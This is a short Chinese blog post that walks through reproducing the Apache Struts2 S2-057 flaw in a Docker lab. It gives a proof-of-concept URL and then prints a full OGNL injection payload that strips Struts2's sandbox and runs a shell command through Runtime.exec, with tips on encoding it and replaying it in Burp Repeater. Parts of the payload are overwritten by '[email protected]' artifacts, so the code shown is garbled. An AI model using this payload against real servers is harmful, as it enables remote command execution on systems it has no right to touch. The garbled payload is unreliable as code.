1. 程式人生 > 其它 >apache Struts2 s2-057復現

apache Struts2 s2-057復現

今天挖洞時遇見了個Struts2的漏洞,利用時才發現沒工具,決定復現一下,寫一下利用指令碼

docker搭建

訪問8080埠,進去是空白的

然後按照poc訪問,主頁是這樣的

驗證poc:http://your-ip:8080/struts2-showcase/$%7B233*233%7D/actionChain1.action

中間的$%7B233*233%7D是${(233*233)}經過url編碼後的樣子

這個驗證要用*,不要用+,容易當成空格

成功執行

在Location那一欄回顯了計算結果

然後使用exp:

${ (#[email protected]@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#[email protected]@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

這個也要進行url編碼

不要用burpsuite自帶的,不然會把所有字母都進行編碼

替換中間的${(233*233)}

然後repeater執行

工具稍後再寫。。。